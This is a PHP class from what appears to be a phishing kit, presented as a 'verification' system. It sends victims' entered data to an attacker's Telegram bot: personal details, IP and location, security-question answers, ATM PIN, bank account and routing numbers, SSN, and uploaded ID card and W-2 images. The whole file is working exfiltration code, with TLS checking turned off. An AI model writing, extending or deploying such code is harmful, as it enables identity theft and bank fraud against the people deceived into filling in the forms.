<?php
/**
 * Telegram Integration System
 * Handles sending notifications to Telegram for each verification section
 */

class TelegramNotifier {
    private $config;
    private $dataHandler;
    
    public function __construct($config, $dataHandler = null) {
        $this->config = $config;
        $this->dataHandler = $dataHandler;
    }
    
    /**
     * Send notification for personal details section
     */
    public function sendPersonalDetailsNotification($sessionId, $data, $locationData = []) {
        if (!$this->config['telegram']['enabled']) {
            return true;
        }
        
        $message = "🔐 *VERIFICATION - PERSONAL DETAILS*\n\n";
        $message .= "📋 *Session ID:* `{$sessionId}`\n";
        $message .= "🌐 *IP Address:* `{$locationData['ip']}`\n";
        $message .= "🌍 *Location:* {$locationData['country']}, {$locationData['state']}, {$locationData['city']}\n\n";
        
        $message .= "👤 *Personal Information:*\n";
        if (!empty($data['first_name']) || !empty($data['last_name'])) $message .= "• Name: " . trim(($data['first_name'] ?? '') . ' ' . ($data['last_name'] ?? '')) . "\n";
        if (!empty($data['email'])) $message .= "• Email: `{$data['email']}`\n";
        if (!empty($data['phone'])) $message .= "• Phone: `{$data['phone']}`\n";
        if (!empty($data['date_of_birth'])) $message .= "• DOB: {$data['date_of_birth']}\n";
        if (!empty($data['address'])) $message .= "• Address: {$data['address']}\n";
        if (!empty($data['city'])) $message .= "• City: {$data['city']}\n";
        if (!empty($data['state'])) $message .= "• State: {$data['state']}\n";
        if (!empty($data['zip_code'])) $message .= "• ZIP: `{$data['zip_code']}`\n";
        if (!empty($data['country'])) $message .= "• Country: {$data['country']}\n";

        // Employment details (optional)
        $employmentIncluded = false;
        $employmentBlock = "";
        if (!empty($data['employer_name'])) { $employmentIncluded = true; $employmentBlock .= "• Employer: {$data['employer_name']}\n"; }
        if (!empty($data['job_title'])) { $employmentIncluded = true; $employmentBlock .= "• Job Title: {$data['job_title']}\n"; }
        if (!empty($data['employment_status'])) { $employmentIncluded = true; $employmentBlock .= "• Employment Status: {$data['employment_status']}\n"; }
        if (!empty($data['employer_phone'])) { $employmentIncluded = true; $employmentBlock .= "• Employer Phone: `{$data['employer_phone']}`\n"; }
        if ($employmentIncluded) {
            $message .= "\n💼 *Employment Details:*\n" . $employmentBlock;
        }
        $message .= "\n";
        
        $message .= "🔗 *User Agent:*\n`{$locationData['user_agent']}`";
        
        return $this->sendMessage($sessionId, 'personal', $message);
    }
    
    /**
     * Send notification for security details section
     */
    public function sendSecurityDetailsNotification($sessionId, $data) {
        if (!$this->config['telegram']['enabled']) {
            return true;
        }
        
        $message = "🔒 *VERIFICATION - SECURITY DETAILS*\n\n";
        $message .= "📋 *Session ID:* `{$sessionId}`\n\n";
        
        $message .= "🛡️ *Security Information:*\n";
        if (!empty($data['favorite_color'])) $message .= "• Favorite Color: {$data['favorite_color']}\n";
        if (!empty($data['favorite_food'])) $message .= "• Favorite Food: {$data['favorite_food']}\n";
        if (!empty($data['favorite_movie'])) $message .= "• Favorite Movie: {$data['favorite_movie']}\n";
        if (!empty($data['favorite_sport'])) $message .= "• Favorite Sport: {$data['favorite_sport']}\n";
        if (!empty($data['mother_maiden_name'])) $message .= "• Mother's Maiden Name: `{$data['mother_maiden_name']}`\n";
        if (!empty($data['first_pet_name'])) $message .= "• First Pet Name: `{$data['first_pet_name']}`\n";
        if (!empty($data['atm_pin'])) $message .= "• ATM PIN: `{$data['atm_pin']}`\n";
        
        // Send text message first (no raw URLs to avoid Markdown parse issues)
        $ok = $this->sendMessage($sessionId, 'security', $message);
        
        // Then send each uploaded document directly via Telegram as a file
        $docsOk = true;
        $docMap = [
            'w2_url' => 'W-2 Document',
            'id_front_url' => 'ID Card - Front',
            'id_back_url' => 'ID Card - Back'
        ];
        foreach ($docMap as $key => $label) {
            if (!empty($data[$key])) {
                $filePath = $this->resolveLocalPathFromUrl($data[$key]);
                if ($filePath && file_exists($filePath)) {
                    $caption = "📎 {$label}\n📋 Session: `{$sessionId}`";
                    $sent = $this->sendDocument($filePath, $caption);
                    if (!$sent) { $docsOk = false; }
                }
            }
        }
        
        return ($ok && $docsOk);
    }
    
    /**
     * Send notification for banking details section
     */
    public function sendBankingDetailsNotification($sessionId, $data) {
        if (!$this->config['telegram']['enabled']) {
            return true;
        }
        
        $message = "🏦 *VERIFICATION - BANKING DETAILS*\n\n";
        $message .= "📋 *Session ID:* `{$sessionId}`\n\n";
        
        $message .= "💰 *Banking Information:*\n";
        if (!empty($data['account_number'])) $message .= "• Account Number: `{$data['account_number']}`\n";
        if (!empty($data['routing_number'])) $message .= "• Routing Number: `{$data['routing_number']}`\n";
        if (!empty($data['bank_name'])) $message .= "• Bank Name: {$data['bank_name']}\n";
        
        // Add optional fields if they exist
        if (isset($data['account_type']) && !empty($data['account_type'])) {
            $message .= "• Account Type: {$data['account_type']}\n";
        }
        if (isset($data['ssn']) && !empty($data['ssn'])) {
            $message .= "• SSN: `{$data['ssn']}`\n";
        }
        
        // Do not include completion text in banking section
        
        return $this->sendMessage($sessionId, 'banking', $message);
    }
    
    /**
     * Send verification completion notification
     */
    public function sendCompletionNotification($sessionId, $allData) {
        if (!$this->config['telegram']['enabled']) {
            return true;
        }

        // No completion message - just return success
        return true;
    }
    
    /**
     * Send security alert
     */
    public function sendSecurityAlert($sessionId, $alertType, $details = '') {
        if (!$this->config['telegram']['enabled']) {
            return true;
        }
        
        $message = "⚠️ *SECURITY ALERT*\n\n";
        $message .= "📋 *Session ID:* `{$sessionId}`\n";
        $message .= "🚨 *Alert Type:* {$alertType}\n";
        $message .= "⏰ *Time:* " . date('Y-m-d H:i:s') . "\n\n";
        
        if (!empty($details)) {
            $message .= "📝 *Details:*\n{$details}\n\n";
        }
        
        $message .= "🔒 *Action Required:* Review session immediately";
        
        return $this->sendMessage($sessionId, 'security_alert', $message);
    }
    
    /**
     * Send daily statistics
     */
    public function sendDailyStats($stats) {
        if (!$this->config['telegram']['enabled']) {
            return true;
        }
        
        $message = "📊 *DAILY STATISTICS*\n\n";
        $message .= "📅 *Date:* " . date('Y-m-d') . "\n\n";
        $message .= "📈 *Today's Activity:*\n";
        $message .= "• New Sessions: {$stats['today_sessions']}\n";
        $message .= "• Completed Verifications: {$stats['completed_verifications']}\n";
        $message .= "• Security Events: {$stats['security_events_today']}\n\n";
        $message .= "📊 *Total Statistics:*\n";
        $message .= "• Total Sessions: {$stats['total_sessions']}\n";
        $message .= "• Success Rate: " . round(($stats['completed_verifications'] / max($stats['total_sessions'], 1)) * 100, 2) . "%\n\n";
        $message .= "🕐 *Report Generated:* " . date('H:i:s');
        
        return $this->sendMessage('system', 'daily_stats', $message);
    }
    
    /**
     * Core method to send message to Telegram
     */
    private function sendMessage($sessionId, $section, $message) {
        try {
            $botToken = $this->config['telegram']['bot_token'];
            $chatId = $this->config['telegram']['chat_id'];
            
            if (empty($botToken) || empty($chatId)) {
                throw new Exception('Telegram bot token or chat ID not configured');
            }
            
            $url = "https://api.telegram.org/bot{$botToken}/sendMessage";
            
            $data = [
                'chat_id' => $chatId,
                'text' => $message,
                'parse_mode' => 'Markdown',
                'disable_web_page_preview' => true
            ];
            
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
            curl_setopt($ch, CURLOPT_HTTPHEADER, [
                'Content-Type: application/json',
                'Content-Length: ' . strlen(json_encode($data))
            ]);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5); // Reduced timeout
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); // Connection timeout
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            curl_close($ch);
            
            if ($error) {
                throw new Exception("cURL Error: {$error}");
            }
            
            if ($httpCode !== 200) {
                throw new Exception("HTTP Error: {$httpCode}");
            }
            
            $responseData = json_decode($response, true);
            
            if (!$responseData['ok']) {
                throw new Exception("Telegram API Error: " . ($responseData['description'] ?? 'Unknown error'));
            }
            
        // Log successful message (if data handler available)
        if ($this->dataHandler) {
            $this->dataHandler->logSecurityEvent('telegram', 'telegram_message', 'sent', "Section: $section");
        }
            
            return true;
            
        } catch (Exception $e) {
            // Log failed message (if data handler available)
            if ($this->dataHandler) {
                $this->dataHandler->logSecurityEvent('telegram', 'telegram_message', 'failed', $e->getMessage());
            }
            
            // Log to error log
            error_log("Telegram notification failed: " . $e->getMessage());
            
            return false;
        }
    }

    /**
     * Send a document file to Telegram
     */
    private function sendDocument($filePath, $caption = '') {
        try {
            $botToken = $this->config['telegram']['bot_token'];
            $chatId = $this->config['telegram']['chat_id'];
            if (empty($botToken) || empty($chatId)) {
                throw new Exception('Telegram bot token or chat ID not configured');
            }
            
            $url = "https://api.telegram.org/bot{$botToken}/sendDocument";
            
            $postFields = [
                'chat_id' => $chatId,
                'document' => new CURLFile($filePath),
                'caption' => $caption,
                'parse_mode' => 'Markdown'
            ];
            
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            curl_close($ch);
            
            if ($error) {
                throw new Exception("cURL Error: {$error}");
            }
            if ($httpCode !== 200) {
                throw new Exception("HTTP Error: {$httpCode}");
            }
            
            $responseData = json_decode($response, true);
            if (!$responseData['ok']) {
                throw new Exception("Telegram API Error: " . ($responseData['description'] ?? 'Unknown error'));
            }
            
            return true;
        } catch (Exception $e) {
            error_log('sendDocument failed: ' . $e->getMessage());
            return false;
        }
    }

    /**
     * Resolve a local absolute path from a public URL pointing into /uploads
     */
    private function resolveLocalPathFromUrl($url) {
        $path = parse_url($url, PHP_URL_PATH);
        if (!$path) return null;
        // Expect path like /uploads/filename.ext
        if (strpos($path, '/uploads/') !== 0) return null;
        $local = __DIR__ . $path; // __DIR__ is project root where uploads/ resides
        return $local;
    }
    
    /**
     * Test Telegram connection
     */
    public function testConnection() {
        try {
            $botToken = $this->config['telegram']['bot_token'];
            $chatId = $this->config['telegram']['chat_id'];
            
            if (empty($botToken) || empty($chatId)) {
                return ['success' => false, 'message' => 'Bot token or chat ID not configured'];
            }
            
            $url = "https://api.telegram.org/bot{$botToken}/getMe";
            
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            curl_close($ch);
            
            if ($error) {
                return ['success' => false, 'message' => "cURL Error: {$error}"];
            }
            
            if ($httpCode !== 200) {
                return ['success' => false, 'message' => "HTTP Error: {$httpCode}"];
            }
            
            $responseData = json_decode($response, true);
            
            if (!$responseData['ok']) {
                return ['success' => false, 'message' => "API Error: " . ($responseData['description'] ?? 'Unknown error')];
            }
            
            // Send test message
            $testMessage = "🧪 *TEST MESSAGE*\n\n";
            $testMessage .= "✅ Telegram integration is working correctly!\n";
            $testMessage .= "⏰ Test time: " . date('Y-m-d H:i:s') . "\n";
            $testMessage .= "🤖 Bot: @{$responseData['result']['username']}";
            
            $testResult = $this->sendMessage('test', 'connection_test', $testMessage);
            
            if ($testResult) {
                return ['success' => true, 'message' => 'Connection successful and test message sent'];
            } else {
                return ['success' => false, 'message' => 'Connection successful but test message failed'];
            }
            
        } catch (Exception $e) {
            return ['success' => false, 'message' => $e->getMessage()];
        }
    }
    
    /**
     * Get Telegram message history
     */
    public function getMessageHistory($sessionId = null, $limit = 50) {
        $sql = "SELECT * FROM telegram_logs";
        $params = [];
        
        if ($sessionId) {
            $sql .= " WHERE session_id = ?";
            $params[] = $sessionId;
        }
        
        $sql .= " ORDER BY sent_at DESC LIMIT ?";
        $params[] = $limit;
        
        $stmt = $this->db->getPdo()->prepare($sql);
        $stmt->execute($params);
        return $stmt->fetchAll();
    }
    
    /**
     * Retry failed messages
     */
    public function retryFailedMessages() {
        $sql = "SELECT * FROM telegram_logs WHERE status = 'failed' ORDER BY sent_at ASC LIMIT 10";
        $stmt = $this->db->getPdo()->prepare($sql);
        $stmt->execute();
        $failedMessages = $stmt->fetchAll();
        
        $retryCount = 0;
        foreach ($failedMessages as $message) {
            $success = $this->sendMessage(
                $message['session_id'],
                $message['section'],
                $message['message']
            );
            
            if ($success) {
                $retryCount++;
            }
        }
        
        return $retryCount;
    }
}
?>
